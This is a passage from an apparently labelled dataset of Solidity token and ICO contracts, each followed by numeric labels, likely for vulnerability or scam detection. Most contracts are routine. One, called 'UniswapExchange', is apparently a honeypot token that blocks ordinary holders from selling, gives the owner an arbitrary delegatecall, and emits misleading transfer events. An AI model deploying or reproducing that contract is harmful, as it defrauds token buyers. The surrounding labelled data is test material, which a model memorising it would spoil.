}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract YetAnotherUselessToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint256 public decimals;
uint256 public _totalSupply;
bool public purchasingAllowed;
uint256 public totalContribution;
uint256 public totalIssued;
uint256 public totalBonusTokensIssued;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "YUC";
name = "YetAnotherUselessToken";
decimals = 10;
_totalSupply = 10000000;
balances[owner] = _totalSupply * (10 ** decimals);
purchasingAllowed = false;
totalContribution = 0;
totalIssued = 0;
totalBonusTokensIssued = 0;
emit Transfer(address(0), owner, _totalSupply * (10 ** decimals));
}
function totalSupply() public constant returns (uint256) {
return _totalSupply * (10 ** decimals) - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function purchasingAllowed() public constant returns (bool) {
return purchasingAllowed;
}
function enablePurchasing() public onlyOwner {
purchasingAllowed = true;
}
function disablePurchasing() public onlyOwner {
purchasingAllowed = false;
}
function getStats() constant public returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalIssued, totalBonusTokensIssued, purchasingAllowed);
}
function() public payable {
if (!purchasingAllowed) { revert(); }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint256 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalIssued += tokensIssued;
balances[msg.sender] += tokensIssued * (10 ** decimals);
balances[owner] -= tokensIssued * (10 ** decimals);
emit Transfer(owner, msg.sender, tokensIssued * (10 ** decimals));
}
} | 1 | 3,734 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
uint256 public reservedForICO;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor (
uint256 initialSupply,
uint256 allocatedForICO,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply.mul(1e8);
reservedForICO = allocatedForICO.mul(1e8);
balanceOf[this] = reservedForICO;
balanceOf[msg.sender]=totalSupply.sub(reservedForICO);
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
}
contract FTKA is owned, TokenERC20 {
string internal tokenName = "FTKA";
string internal tokenSymbol = "FTKA";
uint256 internal initialSupply = 1000000000;
uint256 private allocatedForICO = 800000000;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor () TokenERC20(initialSupply, allocatedForICO, tokenName, tokenSymbol) public { }
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to].add(_value) >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
uint256 public icoStartDate = 1542326400 ;
uint256 public icoEndDate = 1554076799 ;
uint256 public exchangeRate = 5000;
uint256 public tokensSold = 0;
bool internal withdrawTokensOnlyOnce = true;
mapping(address => uint256) public investorContribution;
address[] public icoContributors;
uint256 public tokenHolderIndex = 0;
uint256 public totalContributors = 0;
function () payable public {
if(msg.sender == owner && msg.value > 0){
processRewards();
}
else{
processICO();
}
}
function processICO() internal {
require(icoEndDate > now);
require(icoStartDate < now);
uint ethervalueWEI=msg.value;
uint256 token = ethervalueWEI.div(1e10).mul(exchangeRate);
uint256 totalTokens = token.add(purchaseBonus(token));
tokensSold = tokensSold.add(totalTokens);
_transfer(this, msg.sender, totalTokens);
forwardEherToOwner();
if(investorContribution[msg.sender] == 0){
icoContributors.push(msg.sender);
totalContributors++;
}
investorContribution[msg.sender] = investorContribution[msg.sender].add(totalTokens);
}
function processRewards() internal {
for(uint256 i = 0; i < 150; i++){
if(tokenHolderIndex < totalContributors){
uint256 userContribution = investorContribution[icoContributors[tokenHolderIndex]];
if(userContribution > 0){
uint256 rewardPercentage = userContribution.mul(1000).div(tokensSold);
uint256 reward = msg.value.mul(rewardPercentage).div(1000);
icoContributors[tokenHolderIndex].transfer(reward);
tokenHolderIndex++;
}
}else{
tokenHolderIndex = 0;
break;
}
}
}
function forwardEherToOwner() internal {
owner.transfer(msg.value);
}
function purchaseBonus(uint256 _tokenAmount) public view returns(uint256){
uint256 week1 = icoStartDate + 604800;
uint256 week2 = week1 + 604800;
uint256 week3 = week2 + 604800;
uint256 week4 = week3 + 604800;
uint256 week5 = week4 + 604800;
if(now > icoStartDate && now < week1){
return _tokenAmount.mul(25).div(100);
}
else if(now > week1 && now < week2){
return _tokenAmount.mul(20).div(100);
}
else if(now > week2 && now < week3){
return _tokenAmount.mul(15).div(100);
}
else if(now > week3 && now < week4){
return _tokenAmount.mul(10).div(100);
}
else if(now > week4 && now < week5){
return _tokenAmount.mul(5).div(100);
}
else{
return 0;
}
}
function isICORunning() public view returns(bool){
if(icoEndDate > now && icoStartDate < now){
return true;
}else{
return false;
}
}
function manualWithdrawToken(uint256 _amount) onlyOwner public {
uint256 tokenAmount = _amount.mul(1 ether);
_transfer(this, msg.sender, tokenAmount);
}
function manualWithdrawEther()onlyOwner public{
address(owner).transfer(address(this).balance);
}
} | 1 | 4,708 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 192 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ISC is IERC20 {
using SafeMath for uint256;
address private owner;
string public name = "IChain";
string public symbol = "ISC";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 210000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event FrozenFunds(address target, bool frozen);
constructor() public {
balances[msg.sender] = totalSupply;
owner = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
function() external payable {
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1537164000);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | 1 | 4,356 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract OysterShell {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public lockedSupply;
address public director;
bool public directorLock;
uint256 public feeAmount;
uint256 public retentionMin;
uint256 public retentionMax;
uint256 public lockMin;
uint256 public lockMax;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public locked;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _from, uint256 _value);
event Lock(address indexed _target, uint256 _value, uint256 _release);
event Claim(address indexed _target, address indexed _payout, address indexed _fee);
function OysterShell() public {
director = msg.sender;
name = "Oyster Shell";
symbol = "SHL";
decimals = 18;
directorLock = false;
totalSupply = 98592692 * 10 ** uint256(decimals);
lockedSupply = 0;
balances[director] = totalSupply;
feeAmount = 1 * 10 ** uint256(decimals);
retentionMin = 20 * 10 ** uint256(decimals);
retentionMax = 200 * 10 ** uint256(decimals);
lockMin = 10;
lockMax = 360;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function lockTime(address _owner) public constant returns (uint256 lockedValue) {
return locked[_owner];
}
modifier onlyDirector {
require(!directorLock);
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
require(msg.sender == director);
_;
}
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
function selfLock() public payable onlyDirector {
require(msg.value == 10 ether);
directorLock = true;
}
function amendFee(uint256 feeAmountSet) public onlyDirector returns (bool success) {
feeAmount = feeAmountSet;
return true;
}
function amendRetention(uint256 retentionMinSet, uint256 retentionMaxSet) public onlyDirector returns (bool success) {
retentionMin = retentionMinSet;
retentionMax = retentionMaxSet;
return true;
}
function amendLock(uint256 lockMinSet, uint256 lockMaxSet) public onlyDirector returns (bool success) {
lockMin = lockMinSet;
lockMax = lockMaxSet;
return true;
}
function lock(uint256 _duration) public returns (bool success) {
require(locked[msg.sender] == 0);
require(balances[msg.sender] >= retentionMin);
require(balances[msg.sender] <= retentionMax);
require(_duration >= lockMin);
require(_duration <= lockMax);
locked[msg.sender] = block.timestamp + _duration;
lockedSupply += balances[msg.sender];
Lock(msg.sender, balances[msg.sender], locked[msg.sender]);
return true;
}
function claim(address _payout, address _fee) public returns (bool success) {
require(locked[msg.sender] <= block.timestamp && locked[msg.sender] != 0);
require(_payout != _fee);
require(msg.sender != _payout);
require(msg.sender != _fee);
require(balances[msg.sender] >= retentionMin);
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
uint256 payAmount = balances[msg.sender] - feeAmount;
lockedSupply -= balances[msg.sender];
balances[msg.sender] = 0;
balances[_payout] += payAmount;
balances[_fee] += feeAmount;
Claim(msg.sender, _payout, _fee);
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
return true;
}
function () public payable {
require(false);
}
function _transfer(address _from, address _to, uint _value) internal {
require(locked[_from] == 0);
if (locked[_to] > 0) {
require(balances[_to] + _value <= retentionMax);
}
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(locked[msg.sender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(locked[msg.sender] == 0);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(locked[_from] == 0);
require(balances[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,013 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
